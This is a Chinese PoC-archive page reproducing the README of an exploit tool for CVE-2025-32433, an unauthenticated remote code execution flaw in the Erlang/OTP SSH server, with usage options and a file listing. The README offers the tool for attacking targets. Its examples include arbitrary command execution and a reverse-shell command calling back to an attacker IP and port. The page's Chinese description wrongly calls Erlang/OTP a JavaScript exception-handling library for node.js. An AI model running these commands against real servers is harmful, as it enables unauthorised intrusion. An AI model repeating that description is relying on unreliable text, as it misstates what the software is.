支持本站 — 捐款将帮助我们持续运营

目标: 1000 元，已筹: 1000 元

100.0%
立即捐款

POC详情: c3c7cac222c2ac0b48f3fa3145468bf6ff33e37b

来源
https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC
关联漏洞
标题:Erlang/OTP 访问控制错误漏洞 (CVE-2025-32433)
Description:Erlang/OTP是Erlang/OTP开源的一个JavaScript编写的处理处理异常的库。该库可以捕捉node.js内置API引发的异常。 Erlang/OTP 27.3.3之前版本存在访问控制错误漏洞，该漏洞源于SSH协议消息处理缺陷，可能导致远程代码执行。
Description
The vulnerability allows an attacker with network access to an Erlang/OTP SSH server to execute arbitrary code without prior authentication.
介绍
# CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC
The vulnerability allows an attacker with network access to an Erlang/OTP SSH server to execute arbitrary code without prior authentication.

## Description

A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This could lead to compromise of said hosts, allowing for unauthorized access to and manipulation of sensitive data by third parties, or denial-of-service attacks.

## Affected Versions
    OTP-27.3.2 and earlier
    OTP-26.2.5.10 and earlier
    OTP-25.3.2.19 and earlier
    
## Features
- Vulnerability Check: Determine if a target is vulnerable to CVE-2025-32433.
- Exploit Execution: Execute arbitrary commands.
- Reverse Shell: Initiate a bash-based reverse shell.

    
## Usage

    python cve-2025-32433.py <host> [options]

Options:

    -p PORT, --port PORT: SSH port (default: 22)
    
    -t TIMEOUT, --timeout TIMEOUT: Connection timeout in seconds (default: 5)

    -c COMMAND, --command COMMAND: Custom command to execute

    --check: Check if the target is vulnerable
    
    --shell: Launch a reverse shell
    
    --lhost LHOST: Attacker's IP for reverse shell
    
    --lport LPORT: Attacker's port for reverse shell (default: 4444)

## Examples:

### Check vulnerability:
    python cve-2025-32433.py 127.0.0.1 --check

### Execute a command:
    python cve-2025-32433.py 127.0.0.1 -c 'ls -la'

### Initiate a reverse shell:
    python cve-2025-32433.py 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
## References
  
  [GitHub Advisory](https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2)
  
  [NVD CVE-2025-32433](https://nvd.nist.gov/vuln/detail/CVE-2025-32433)
  
  [Platform Security](https://platformsecurity.com/blog/CVE-2025-32433-poc)
文件快照

 [4.0K]  /data/pocs/c3c7cac222c2ac0b48f3fa3145468bf6ff33e37b
├── [6.0K]  cve-2025-32433.py
├── [ 11K]  LICENSE
└── [2.0K]  README.md

0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。